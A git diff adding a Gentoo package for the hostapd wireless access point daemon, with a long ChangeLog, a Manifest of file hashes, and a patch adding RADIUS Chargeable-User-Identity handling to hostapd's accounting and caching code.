+  Fix madwifi compilation with ROOT != "/".
+
+  19 Feb 2006; Michael Hanselmann <hansmi@gentoo.org>
+  hostapd-0.4.7-r2.ebuild:
+  Stable on ppc.
+
+  16 Feb 2006; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.5.0.ebuild,
+  hostapd-0.5.0-r1.ebuild, hostapd-0.5.1.ebuild:
+  Fix building with USE=-ssl. Thanks to langthang in bug #122987.
+
+*hostapd-0.4.8 (14 Feb 2006)
+
+  14 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+  +files/hostapd-0.4.8-conf.d, +files/hostapd-0.4.8-init.d,
+  +hostapd-0.4.8.ebuild:
+  New stable release from upstream. Backported madwifi support from 0.5.x
+  ebuilds.
+
+  13 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+  hostapd-0.4.7-r2.ebuild:
+  Stable on x86.
+
+  03 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+  -files/hostapd-0.3.9-conf.d, -files/hostapd-0.3.9-init.d,
+  -files/hostapd-0.4.5-conf.d, -files/hostapd-0.4.5-init.d,
+  -files/hostapd-0.4.5-prism54.patch, -files/hostapd-0.4.6-conf.d,
+  -files/hostapd-0.4.6-init.d, -files/hostapd.init.d, -hostapd-0.4.5.ebuild,
+  -hostapd-0.4.6.ebuild, -hostapd-0.4.7.ebuild:
+  Pruned old ebuilds.
+
+*hostapd-0.5.1 (30 Jan 2006)
+
+  30 Jan 2006; Henrik Brix Andersen <brix@gentoo.org>
+  +files/hostapd-0.5.1-conf.d, +files/hostapd-0.5.1-init.d,
+  +hostapd-0.5.1.ebuild:
+  New development snapshot.
+
+*hostapd-0.5.0-r1 (09 Jan 2006)
+*hostapd-0.4.7-r2 (09 Jan 2006)
+
+  09 Jan 2006; Henrik Brix Andersen <brix@gentoo.org>
+  files/hostapd-0.4.7-init.d, files/hostapd-0.5.0-init.d,
+  +hostapd-0.4.7-r2.ebuild, +hostapd-0.5.0-r1.ebuild:
+  Fix init scripts to work with baselayout-1.12.0_rcX.
+
+  02 Jan 2006; Michael Hanselmann <hansmi@gentoo.org>
+  hostapd-0.4.7-r1.ebuild:
+  Stable on ppc.
+
+  30 Dec 2005; Henrik Brix Andersen <brix@gentoo.org>
+  hostapd-0.4.7-r1.ebuild:
+  Stable on x86.
+
+*hostapd-0.4.7-r1 (30 Dec 2005)
+
+  30 Dec 2005; Henrik Brix Andersen <brix@gentoo.org>
+  +hostapd-0.4.7-r1.ebuild:
+  Added version without madwifi support in preparation for marking it stable
+  on x86.
+
+  24 Dec 2005; Michael Hanselmann <hansmi@gentoo.org>
+  hostapd-0.3.9-r1.ebuild:
+  Stable on ppc.
+
+*hostapd-0.5.0 (20 Dec 2005)
+
+  20 Dec 2005; Henrik Brix Andersen <brix@gentoo.org>
+  +files/hostapd-0.5.0-conf.d, +files/hostapd-0.5.0-init.d,
+  +hostapd-0.5.0.ebuild:
+  New development snapshot.
+
+*hostapd-0.4.7 (21 Nov 2005)
+
+  21 Nov 2005; Henrik Brix Andersen <brix@gentoo.org>
+  +files/hostapd-0.4.7-conf.d, +files/hostapd-0.4.7-init.d,
+  +hostapd-0.4.7.ebuild:
+  First release of new stable branch.
+
+*hostapd-0.4.6 (29 Oct 2005)
+
+  29 Oct 2005; Henrik Brix Andersen <brix@gentoo.org>
+  +files/hostapd-0.4.6-conf.d, +files/hostapd-0.4.6-init.d,
+  +hostapd-0.4.6.ebuild:
+  New development release.
+
+  22 Oct 2005; Henrik Brix Andersen <brix@gentoo.org>
+  -files/hostapd-0.4.3-conf.d, -files/hostapd-0.4.3-init.d,
+  -files/hostapd-0.4.4-conf.d, -files/hostapd-0.4.4-init.d,
+  -hostapd-0.4.3.ebuild, -hostapd-0.4.4.ebuild, -hostapd-0.4.4-r1.ebuild:
+  Pruned old versions.
+
+*hostapd-0.4.5 (17 Oct 2005)
+
+  17 Oct 2005; Henrik Brix Andersen <brix@gentoo.org>
+  +files/hostapd-0.4.5-conf.d, +files/hostapd-0.4.5-init.d,
+  +files/hostapd-0.4.5-prism54.patch, +hostapd-0.4.5.ebuild:
+  New development snapshot, bug #108319.
+
+  17 Sep 2005; Simon Stelling <blubb@gentoo.org> hostapd-0.4.4-r1.ebuild:
+  added ~amd64 keyword
+
+*hostapd-0.4.4-r1 (22 Aug 2005)
+
+  22 Aug 2005; Henrik Brix Andersen <brix@gentoo.org>
+  files/hostapd-0.4.4-init.d, +hostapd-0.4.4-r1.ebuild:
+  Install more example configuration files, use SIGHUP for reloading
+  configuration in init script.
+
+*hostapd-0.4.4 (22 Aug 2005)
+
+  22 Aug 2005; Henrik Brix Andersen <brix@gentoo.org>
+  +files/hostapd-0.4.4-conf.d, +files/hostapd-0.4.4-init.d,
+  +hostapd-0.4.4.ebuild:
+  New development snapshot. Compile against headers installed by
+  net-wireless/madwifi-driver instead of local snapshot.
+
+  16 Aug 2005; Henrik Brix Andersen <brix@gentoo.org> ChangeLog:
+  Stable on x86.
+
+  13 Jul 2005; <brix@gentoo.org> -files/hostapd-0.4.0-conf.d,
+  -files/hostapd-0.4.0-init.d, -files/hostapd-0.4.1-conf.d,
+  -files/hostapd-0.4.1-init.d, -files/hostapd-0.4.2-conf.d,
+  -files/hostapd-0.4.2-init.d, -hostapd-0.2.5.ebuild, -hostapd-0.2.6.ebuild,
+  -hostapd-0.3.9.ebuild, -hostapd-0.4.0-r1.ebuild, -hostapd-0.4.1.ebuild,
+  -hostapd-0.4.2.ebuild:
+  Pruned old ebuilds.
+
+  08 Jul 2005; <brix@gentoo.org> hostapd-0.3.9.ebuild,
+  hostapd-0.3.9-r1.ebuild, hostapd-0.4.0-r1.ebuild, hostapd-0.4.1.ebuild,
+  hostapd-0.4.2.ebuild, hostapd-0.4.3.ebuild:
+  Fixed DEPEND/RDEPEND issue.
+
+*hostapd-0.4.3 (27 Jun 2005)
+
+  27 Jun 2005; <brix@gentoo.org> +files/hostapd-0.4.3-conf.d,
+  +files/hostapd-0.4.3-init.d, +hostapd-0.4.3.ebuild:
+  New development snapshot.
+
+  27 Jun 2005; David Holm <dholm@gentoo.org> hostapd-0.3.7.ebuild:
+  Stable on ppc.
+
+*hostapd-0.3.9-r1 (13 Jun 2005)
+
+  13 Jun 2005; <brix@gentoo.org> +files/hostapd-0.3.9-conf.d,
+  +files/hostapd-0.3.9-init.d, +hostapd-0.3.9-r1.ebuild:
+  Backported 0.4.x ebuild fixes to 0.3.9.
+
+*hostapd-0.4.2 (13 Jun 2005)
+
+  13 Jun 2005; <brix@gentoo.org> +files/hostapd-0.4.2-conf.d,
+  +files/hostapd-0.4.2-init.d, +hostapd-0.4.2.ebuild:
+  New development release.
+
+*hostapd-0.3.9 (11 Jun 2005)
+
+  11 Jun 2005; <brix@gentoo.org> +hostapd-0.3.9.ebuild:
+  New stable release.
+
+*hostapd-0.4.1 (23 May 2005)
+
+  23 May 2005; <brix@gentoo.org> +files/hostapd-0.4.1-conf.d,
+  +files/hostapd-0.4.1-init.d, +hostapd-0.4.1.ebuild:
+  New development release.
+
+  11 May 2005; <brix@gentoo.org> -hostapd-0.4.0.ebuild:
+  Removed old ebuild
+
+*hostapd-0.4.0-r1 (29 Apr 2005)
+
+  29 Apr 2005; <brix@gentoo.org> +files/hostapd-0.4.0-conf.d,
+  +files/hostapd-0.4.0-init.d, +hostapd-0.4.0-r1.ebuild:
+  Install hostapd_cli and man pages, restructured init script.
+
+*hostapd-0.4.0 (27 Apr 2005)
+
+  27 Apr 2005; <brix@gentoo.org> +hostapd-0.4.0.ebuild:
+  New development snapshot.
+
+  16 Apr 2005; <brix@gentoo.org> hostapd-0.3.7.ebuild:
+  Stable on x86.
+
+  13 Feb 2005; Henrik Brix Andersen <brix@gentoo.org> -hostapd-0.3.5.ebuild,
+  -hostapd-0.3.7_pre.ebuild:
+  Pruned old versions.
+
+*hostapd-0.3.7 (13 Feb 2005)
+
+  13 Feb 2005; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.7.ebuild:
+  New stable version from upstream.
+
+*hostapd-0.3.7_pre (07 Feb 2005)
+
+  07 Feb 2005; Henrik Brix Andersen <brix@gentoo.org>
+  +hostapd-0.3.7_pre.ebuild:
+  Added pre-release of 0.3.7 which is supposed to go stable soon, please test.
+
+  25 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> -hostapd-0.2.4.ebuild,
+  -hostapd-0.3.0.ebuild, -hostapd-0.3.1.ebuild, -hostapd-0.3.2.ebuild,
+  -hostapd-0.3.3.ebuild, -hostapd-0.3.4.ebuild:
+  Pruned old versions.
+
+*hostapd-0.3.5 (24 Jan 2005)
+
+  24 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.5.ebuild:
+  New development snapshot.
+
+  18 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.2.4.ebuild,
+  hostapd-0.2.5.ebuild, hostapd-0.2.6.ebuild, hostapd-0.3.0.ebuild,
+  hostapd-0.3.1.ebuild, hostapd-0.3.2.ebuild, hostapd-0.3.3.ebuild,
+  hostapd-0.3.4.ebuild:
+  Removed hostap-driver dependency, fixes bug #78094.
+
+  14 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.2.6.ebuild:
+  Stable on x86.
+
+*hostapd-0.3.4 (10 Jan 2005)
+
+  10 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.4.ebuild:
+  New development version, bumped included madwifi-driver.
+
+*hostapd-0.3.3 (03 Jan 2005)
+
+  03 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.3.ebuild:
+  New development snapshot.
+
+*hostapd-0.2.6 (26 Dec 2004)
+
+  26 Dec 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.2.6.ebuild:
+  Version bump.
+
+*hostapd-0.3.2 (20 Dec 2004)
+
+  20 Dec 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.2.ebuild:
+  Added new development snapshot.
+
+*hostapd-0.3.1 (13 Dec 2004)
+
+  13 Dec 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.1.ebuild:
+  Version bump (development snapshot)
+
+*hostapd-0.3.0 (12 Dec 2004)
+
+  12 Dec 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.0.ebuild:
+  Version bump. Please note that version 0.3.0 is a development snapshot.
+
+  12 Dec 2004; Daniel Black <dragonheart@gentoo.org> hostapd-0.2.5.ebuild:
+  ppc stable as per bug #74117. Changed DEPEND on kernel modules to a RDEPEND.
+
+  10 Dec 2004; Henrik Brix Andersen <brix@gentoo.org> -hostapd-0.1.0.ebuild,
+  -hostapd-0.1.3.ebuild:
+  Pruned ancient versions.
+
+  27 Nov 2004; Wolfram Schlich <wschlich@gentoo.org> hostapd-0.2.5.ebuild:
+  mark stable on x86
+
+  01 Nov 2004; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.1.0.ebuild,
+  hostapd-0.1.3.ebuild, hostapd-0.2.4.ebuild, hostapd-0.2.5.ebuild:
+  Use tc-getCC() from toolchain-funcs.eclass, fixes bug #69282.
+
+*hostapd-0.2.5 (25 Oct 2004)
+
+  25 Oct 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.2.5.ebuild:
+  Version bump. Cleaned up ebuild.
+
+*hostapd-0.2.4 (14 Sep 2004)
+
+  14 Sep 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.2.4.ebuild:
+  Bump. Ebuild by latexer@gentoo.org.
+
+*hostapd-0.1.3 (09 Feb 2004)
+
+  09 Feb 2004; Wolfram Schlich <wschlich@gentoo.org> hostapd-0.1.3.ebuild:
+  Version bump
+
+  16 Dec 2003; Wolfram Schlich <wschlich@gentoo.org> hostapd-0.1.0.ebuild:
+  mark stable on x86
+
+  11 Nov 2003; Peter Johanson <latexer@gentoo.org> metadata.xml:
+  Added to the new "mobile" herd.
+
+*hostapd-0.1.0 (21 Oct 2003)
+
+  21 Oct 2003; Wolfram Schlich <wschlich@gentoo.org> hostapd-0.1.0.ebuild,
+  metadata.xml:
+  Initial import
+
diff --git a/net-wireless/hostapd/Manifest b/net-wireless/hostapd/Manifest
new file mode 100644
index 00000000..b2423470
--- /dev/null
+++ b/net-wireless/hostapd/Manifest
@@ -0,0 +1,14 @@
+AUX cui-20120417.patch 13221 SHA256 b853484cd5d3e89e4eb96be3edf0bedef01922e74cd87578c6a2faf647f3180a SHA512 242f70701a59206ff980ff602e7d94f9a2afca7f4fbc2861086eb412863b3e7e73f76ea972a5ed24f7baf1810757add2a9839647fd605b94a1e6edbbeddc1452 WHIRLPOOL 02859bd43030a2df7fd12fc0952071b34e26ae718dfb568f2cefa52d0d69555033ed318784b2ffa9781a05b04913187d038ea24e30f74613907334dd7f5b77d8
+AUX cui-20120717.patch 12726 SHA256 ce24f99b5d45b78af750339ac8c05595b0faed7cecd99fa8e8072e65386d8e05 SHA512 23315310f21d15863aa5f01c907d23662023853732e45ae59d454cceda9dc3ab866df45712d6538978e8cb0c053955345b0714bf998961840d87553df985311b WHIRLPOOL 158d41102872aecc2ccb0cde2826cb76041f36f360a2a0f38a78ea87f8a540c5f3b688724f86199649ae5fa32e97ff8d8a92be67398e19d51f9ba363b540f511
+AUX hostapd-0.7.3-karma.patch 17778 SHA256 28b8963c836e0208d8f621c6345e27d66ad2a8df33eec99d2505fc7980019ee8 SHA512 c4a1231ae6ed613d3218bfb30c6a95f5cbcfc67371996522131cb4effb29c6fadf3b324ef2a308dab2046fa234ad86e9b0048a2f356f2a2b6413f5d22248830f WHIRLPOOL 5272fc3e1f4d9513562604c2f324aebbc38d8ff83e4bcca5cc79ab27c35475f7ffeabe780fd7fc73cf163cbe9536e8ca44b3b3996080926dcc11a97072cd7061
+AUX hostapd-1.0-karma-0.2.patch 39202 SHA256 ce40eb1f2a205ef9ec5d0ff87c9df85a86cb21cbe016a324a9bfddb728b57685 SHA512 94e8ea5a57859063c0b8c33709dcef72392c6b8e27c5003ed9217e9756ae39936348daf480fcf829f32ce56783fb817772425ba832f6adab7561a949ea3f6421 WHIRLPOOL c1827bc5ab346ff5249d2751090b953767a6e8696b60c03aefe578c4d5bf9e990426acecbca2f7d67d1e151262ce3ea994704789b7522e365b3a1678dbb41c79
+AUX hostapd-1.0-karma.patch 15724 SHA256 9f4d853c2974607aed7accb5785df224e3abdce4baf4dee787ca45421c85ec87 SHA512 694e8e03db5e3577359b0cc5c530ef528dd2bbeb64351060113fe67ee4446495999330edc5f38c3206c8525c5f401e35ca8a3c0f372f5c8e3205172680cf7fd9 WHIRLPOOL 36f6a45310a642fb2b1c2225d560ac85b1c08074c08108682fbb638ad27f8d01858ba48a2b64ffaa01832a52185afe5c39b521635b8767abdfaefb6c84a0a903
+AUX hostapd-1.0-libnl_path_fix.patch 892 SHA256 7ec9489fed14b7f3916d0aab63e34886bcf39d07c257101df53e16ef4db2b95d SHA512 10b1db56ec2bb8a2ab04dcd50b5a0442efdd4814ef6a4effc50d0157d61fc993ebb6f2f6775566fc0341668ad314dd2d4ec4e91177d59d76c59b8ceb2bf4c2f4 WHIRLPOOL ae16d72eb649d7267191a2542c204da92493279f3d09dc9de4349ca4a8db9d7e5f46d3d824e4b22900ad257e1bdcf86b26fb46eee63cbb8af48bd739b0d27ea0
+AUX hostapd-1.0-tls_length_fix.patch 1859 SHA256 bbca0422a0babbf9d7fad2b758ecddaae45624db1b2db6d7663292548e25906a SHA512 e354e9352605003101cba296735232d11ac685f1db8718e5d59b55de1b86b55144e4871afe85cae4374f52af1b42df3ebd4747e109c86e0750ef9eb5345453d7 WHIRLPOOL 6a9379b09ffb73d13ea813952e2b39b5ab90ec98a27ed211ff2904d52e346c9e6273fe99e8ae6509773597afa352d9e77f3081103c5e5c55c86e12f8176a5419
+AUX hostapd-conf.d 245 SHA256 916f4b14095ee4ec8a510391c883e9f01868e18d79a3d5cbeb13a104a793d45d SHA512 f07a6cd209eca351b8545017c5f025282c3fdea838ca3df49e362571ded43973281ce4ff83984b1299db15ea9b5c21a42cbda91432220af9146bf034e2265c30 WHIRLPOOL 0ab1dbd8e04df9e7b8ae875dfdfdcdd770e4fcb62197bb81e47588a9ecf0b8bb715adbde34f2be82d630fdd536e9f888f463dd12cab0c06220c345b0093a3dd5
+AUX hostapd-init.d 1022 SHA256 a220058841e66a11603df8e968ccc68945f01e1d11c1ae498922d0e01f6fa804 SHA512 0d9d3c69c7b4c50ab08a7633b3b0b2f770647045ba967de628c34bf37644dcae6ef8288cab0fd0508b8ee8eafa8f48bda0d378c5aadbbbc5cde9f5441f7c97a1 WHIRLPOOL e86f507cff5712ff2590f39c58989a379b81feb40cedcd424188e055ac38f772a7bb9c1089efabd6ff104078257aa2a20a82790e17b085c03264d35b6f4e274d
+DIST hostapd-1.0.tar.gz 1327943 SHA256 002e9dcb7e46cf82b5900a2fcf92b30fc8cdfd32a72d7fd4488588f1c013dfcc SHA512 2f189ef3d52099ee249a96820b257f331e0cb601e89dc01c583ec697d5e9a68f6b80c2913bbb4b37f18dc4a218f34ed9deb0357d55509de9d0f58dd60df33a8b WHIRLPOOL 79f0fd8b7f256d69771f8b022e74ee9908a6a613c875392cf151bdada86c077bbf8e88213547efa64c240daf9fb5e5f9bffe2fa5f7f98d5ca27d5d7058f5995a
+EBUILD hostapd-1.0-r4.ebuild 5519 SHA256 c911846537d95e6ce101988af1157ec772d03ce34da0ec6aa657580e4b497852 SHA512 7e01750d68513e33c0ee8848dd6ee851a32cfb500aa0cfae802b7aabaf86b32c2992b229f1f94f345ecc8dc0b4f220483f4b05f9f87b89b6fca8d37b6af0543b WHIRLPOOL 5dffe8e9070db5c2d71b4df1cedf52a7bf3f57308f76b4a13d2c11f6083c0e611c42c389ba9a75e4d15dba93534d18054a4b662b7223cf278de45e3362ca00cd
+EBUILD hostapd-1.0-r5.ebuild 5523 SHA256 61d713f72dae5f93b4cdaf9328edc29bb589ac67221b7ca220e544ae44abebac SHA512 ec9d9a96dcc3ea31529c827fbbe0095fb2e14125c1c35820a588352ecd44c7cef4ce6e590773294501f4d79e7d5ca0ebd2dc3cdf29e221bfc10bab19231d26f8 WHIRLPOOL ba48f2800633aaeb903cacca4830254b80a79079bc89333555dca325654ba94dc74af0e8c83e99f1d0b19c41cdd902a7b209c32dc6c618ed012460c0a037080b
+MISC ChangeLog 20312 SHA256 4a1673cde56f1b7ea1dfd20f0ac702ad3e7e916b84cfdf4f5aa0448d01b13659 SHA512 1c03ba7921beb21500e160aa5abfb867967777f0c4a36e220524bde419a30663a03d38b757c97405a88e1a5a2baf91e27b8022514ae99bdd1b4768ad520ec15e WHIRLPOOL 3c0df927502c29770fcac11fad0a5c655ff05674fc7444fef1e4a68cdbb55b1690efd3b89d3240a978f045d33029be036961a44095173660cfe4d20c3a05918b
+MISC metadata.xml 752 SHA256 78c8bab11c00f4988d677b1f4bf5a66c3221c0f9a3c46cfaf333a8857f250662 SHA512 c9e8749a721896e4b91ee76b9008e8a3e0d58496d804a6ce103fa501ccd0322b18b28f69432babc506a4c97a22c993da11c34946d6b44517b3cbb45f80bf6bde WHIRLPOOL c8cc369fa5d5725617c4143053bef31f34fdc40b9a7c36a082765d5e9afcd12f5b45d567e7ea3e2431dfbbf3378daf05b73aead94978e650e012652e1928d7aa
diff --git a/net-wireless/hostapd/files/cui-20120417.patch b/net-wireless/hostapd/files/cui-20120417.patch
new file mode 100644
index 00000000..702f55c4
--- /dev/null
+++ b/net-wireless/hostapd/files/cui-20120417.patch
@@ -0,0 +1,451 @@
+diff -rupN hostapd-0.7.3/src/ap/accounting.c src/ap/accounting.c
+--- hostapd-0.7.3/src/ap/accounting.c	2010-09-07 08:43:39.000000000 -0700
++++ src/ap/accounting.c	2011-09-06 21:01:36.000000000 -0700
+@@ -24,6 +24,7 @@
+ #include "ap_config.h"
+ #include "sta_info.h"
+ #include "accounting.h"
++/*#include "eapol_auth/eapol_auth_sm_i.h"*/
+ 
+ 
+ /* Default interval in seconds for polling TX/RX octets from the driver if
+@@ -43,7 +44,10 @@ static struct radius_msg * accounting_ms
+ 	char buf[128];
+ 	u8 *val;
+ 	size_t len;
++	u8 *cui; /*Define CUI Attribute*/
++	size_t cui_len; /*Define CUI Attribute length*/
+ 	int i;
++	struct eapol_state_machine *sm = sta->eapol_sm; 
+ 
+ 	msg = radius_msg_new(RADIUS_CODE_ACCOUNTING_REQUEST,
+ 			     radius_client_get_id(hapd->radius));
+@@ -82,7 +86,9 @@ static struct radius_msg * accounting_ms
+ 
+ 	if (sta) {
+ 		val = ieee802_1x_get_identity(sta->eapol_sm, &len);
++		printf("GOT ID\n");
+ 		if (!val) {
++			
+ 			os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT,
+ 				    MAC2STR(sta->addr));
+ 			val = (u8 *) buf;
+@@ -94,6 +100,30 @@ static struct radius_msg * accounting_ms
+ 			printf("Could not add User-Name\n");
+ 			goto fail;
+ 		}
++
++		
++		/*Check if the CUI attribute is set, if so returns the TRUE or FALSE accordingly**************/
++		if (getSetCui(sta->eapol_sm)){
++		cui=get_CUI (sta->eapol_sm, &cui_len);
++		printf("GOT CUI\n");
++
++		if (!cui) {
++					
++					os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT,
++						    MAC2STR(sta->addr));
++					cui = (u8 *) buf;
++					cui_len = os_strlen(buf);
++				}
++		if (!radius_msg_add_attr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, cui,
++				cui_len)) { /*Add CUI attribute to the Accounting Request Message*/
++					printf("Could not add CUI\n");
++					goto fail;
++				}
++		/********************/
++		}
++		/*else { */
++		/*	printf ("PROBLEM IN IF\n");*/
++		/*}*/
+ 	}
+ 
+ 	if (hapd->conf->own_ip_addr.af == AF_INET &&
+diff -rupN hostapd-0.7.3/src/ap/accounting.h src/ap/accounting.h
+--- hostapd-0.7.3/src/ap/accounting.h	2010-09-07 08:43:39.000000000 -0700
++++ src/ap/accounting.h	2011-07-25 19:26:06.000000000 -0700
+@@ -22,6 +22,7 @@ static inline void accounting_sta_start(
+ {
+ }
+ 
++
+ static inline void accounting_sta_stop(struct hostapd_data *hapd,
+ 				       struct sta_info *sta)
+ {
+diff -rupN hostapd-0.7.3/src/ap/ieee802_1x.c src/ap/ieee802_1x.c
+--- hostapd-0.7.3/src/ap/ieee802_1x.c	2010-09-07 08:43:39.000000000 -0700
++++ src/ap/ieee802_1x.c	2011-09-06 20:59:54.000000000 -0700
+@@ -899,6 +899,7 @@ void ieee802_1x_new_station(struct hosta
+ 			 * re-authentication without having to wait for the
+ 			 * Supplicant to send EAPOL-Start.
+ 			 */
++			printf("REAUTHENTICATION-EAPOL");
+ 			sta->eapol_sm->reAuthenticate = TRUE;
+ 		}
+ 		eapol_auth_step(sta->eapol_sm);
+@@ -1138,6 +1139,68 @@ static void ieee802_1x_update_sta_identi
+ 	sm->identity_len = len;
+ }
+ 
++/* This method is used to   Set the CUI attribute Value**************************************/
++static void set_cui(struct hostapd_data *hapd,
++					   struct sta_info *sta,
++					   struct radius_msg *msg)
++
++{
++	u8 *buf,*cui_identity;
++	size_t len;
++	struct eapol_state_machine *sm = sta->eapol_sm;
++
++	if (sm == NULL)
++			return;
++
++	if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, &buf, &len,
++					    NULL) < 0)
++			return;
++	cui_identity = os_malloc(len + 1);
++		if (cui_identity == NULL)
++			return;
++	os_memcpy(cui_identity, buf, len);
++	cui_identity[len] = '\0';
++
++	sm->cui = cui_identity;
++	sm->cui_len = len;
++	printf(" SET CUI %s",(char *) cui_identity);
++
++
++}
++
++
++/*  **************************************/
++
++/*check CUI attribute is available in Access Accept */
++static void check_cuiAttr (struct radius_msg *msg,struct sta_info *sta, struct hostapd_data *hapd)
++{
++	
++	struct eapol_state_machine *sm = sta->eapol_sm; /*Define a pointer to eapol_state_machine*/
++	
++
++	size_t i;
++
++	for (i = 0;i<msg->attr_used;i++)
++	{	struct radius_attr_hdr *attr = radius_get_attr_hdr(msg, i);
++		if (attr->type == RADIUS_ATTR_CHARGEABLE_USER_IDENTITY) /*check CUI attribute is availabe in Access-Accept packet*/
++		{
++			printf("CUI Attribute is Available");
++			sm->cuiAvailable = TRUE;
++			set_cui(hapd, sta, msg);
++			break;
++
++		}
++		else {
++			sm->cuiAvailable = FALSE;
++			printf ("CUI is not available in this packet");
++
++		}
++
++
++	}
++
++}
++
+ 
+ struct sta_id_search {
+ 	u8 identifier;
+@@ -1298,6 +1361,8 @@ ieee802_1x_receive_auth(struct radius_ms
+ 				    shared_secret_len);
+ 		ieee802_1x_store_radius_class(hapd, sta, msg);
+ 		ieee802_1x_update_sta_identity(hapd, sta, msg);
++		/*set_cui(hapd, sta, msg);*/
++		check_cuiAttr (msg,sta,hapd);
+ 		if (sm->eap_if->eapKeyAvailable &&
+ 		    wpa_auth_pmksa_add(sta->wpa_sm, sm->eapol_key_crypt,
+ 				       session_timeout_set ?
+@@ -1777,6 +1842,27 @@ u8 * ieee802_1x_get_identity(struct eapo
+ }
+ 
+ 
++
++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len) /* return CUI Attribute Value  ******************************/
++{
++	if (sm == NULL || sm->identity == NULL)
++		return NULL;
++
++	*len = sm->cui_len;
++	return sm->cui;
++}
++
++Boolean getSetCui (struct eapol_state_machine *sm) /*Check if the CUI value is set or not, and returns TRUE or FALSE accordingly*/
++
++{ if (sm->cuiAvailable)
++	return TRUE;
++else
++	return FALSE;
++	}
++
++/*****************************/
++
++
+ u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len,
+ 				 int idx)
+ {
+diff -rupN hostapd-0.7.3/src/ap/ieee802_1x.h src/ap/ieee802_1x.h
+--- hostapd-0.7.3/src/ap/ieee802_1x.h	2010-09-07 08:43:39.000000000 -0700
++++ src/ap/ieee802_1x.h	2011-07-25 19:43:10.000000000 -0700
+@@ -69,6 +69,13 @@ void ieee802_1x_deinit(struct hostapd_da
+ int ieee802_1x_tx_status(struct hostapd_data *hapd, struct sta_info *sta,
+ 			 const u8 *buf, size_t len, int ack);
+ u8 * ieee802_1x_get_identity(struct eapol_state_machine *sm, size_t *len);
++
++/** definig CUI get function */
++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len);
++Boolean getSetCui (struct eapol_state_machine *sm);
++
++/*********************/
++
+ u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len,
+ 				 int idx);
+ const u8 * ieee802_1x_get_key(struct eapol_state_machine *sm, size_t *len);
+diff -rupN hostapd-0.7.3/src/ap/pmksa_cache_auth.c src/ap/pmksa_cache_auth.c
+--- hostapd-0.7.3/src/ap/pmksa_cache_auth.c	2010-09-07 08:43:39.000000000 -0700
++++ src/ap/pmksa_cache_auth.c	2011-09-06 22:42:00.000000000 -0700
+@@ -142,6 +142,20 @@ static void pmksa_cache_from_eapol_data(
+ 		}
+ 	}
+ 
++/*set to cui in to cache*/
++
++	if (eapol ->cui) {
++		
++		entry ->cui = os_malloc(eapol->cui_len); /*Allocate memory for CUI attribute*/
++		if (entry->cui) {
++			entry->cui_len = eapol->cui_len;
++			os_memcpy(entry->cui, eapol->cui,
++				  eapol->cui_len);
++		}
++	}
++
++/*set to cui in to cache*/
++
+ #ifndef CONFIG_NO_RADIUS
+ 	radius_copy_class(&entry->radius_class, &eapol->radius_class);
+ #endif /* CONFIG_NO_RADIUS */
+@@ -169,6 +183,25 @@ void pmksa_cache_to_eapol_data(struct rs
+ 				  eapol->identity, eapol->identity_len);
+ 	}
+ 
++/*Added to get CUI from the cache*/
++
++
++	if (entry->cui) {
++			os_free(eapol->cui);
++			
++			eapol->cui = os_malloc(entry->cui_len);
++			eapol->cuiAvailable=TRUE;
++			if (eapol->cui) {
++				eapol->cui_len = entry->cui_len;
++				os_memcpy(eapol->cui, entry->cui, 
++					  entry->cui_len); /*copy the CUI attribute value to EAPOL data structure*/
++			}
++			wpa_hexdump_ascii(MSG_DEBUG, "CUIfrom PMKSA",
++					  eapol->cui, eapol->cui_len);
++		}
++
++	/*Added to get CUI from the cache*/
++
+ #ifndef CONFIG_NO_RADIUS
+ 	radius_free_class(&eapol->radius_class);
+ 	radius_copy_class(&eapol->radius_class, &entry->radius_class);
+@@ -180,6 +213,7 @@ void pmksa_cache_to_eapol_data(struct rs
+ 
+ 	eapol->eap_type_authsrv = entry->eap_type_authsrv;
+ 	((struct sta_info *) eapol->sta)->vlan_id = entry->vlan_id;
++	printf ("GETTING CACHE ENTRY\n");
+ }
+ 
+ 
+diff -rupN hostapd-0.7.3/src/ap/pmksa_cache_auth.h src/ap/pmksa_cache_auth.h
+--- hostapd-0.7.3/src/ap/pmksa_cache_auth.h	2010-09-07 08:43:39.000000000 -0700
++++ src/ap/pmksa_cache_auth.h	2011-08-07 19:19:44.000000000 -0700
+@@ -31,6 +31,8 @@ struct rsn_pmksa_cache_entry {
+ 
+ 	u8 *identity;
+ 	size_t identity_len;
++	u8 *cui; /* cui by me*/
++	size_t cui_len; /*Size of the cached cui by me*/
+ 	struct radius_class_data radius_class;
+ 	u8 eap_type_authsrv;
+ 	int vlan_id;
+diff -rupN hostapd-0.7.3/src/common/ieee802_11_common.c src/common/ieee802_11_common.c
+--- hostapd-0.7.3/src/common/ieee802_11_common.c	2010-09-07 08:43:39.000000000 -0700
++++ src/common/ieee802_11_common.c	2011-07-25 17:56:38.000000000 -0700
+@@ -31,8 +31,8 @@ static int ieee802_11_parse_vendor_speci
+ 	if (elen < 4) {
+ 		if (show_errors) {
+ 			wpa_printf(MSG_MSGDUMP, "short vendor specific "
+-				   "information element ignored (len=%lu)",
+-				   (unsigned long) elen);
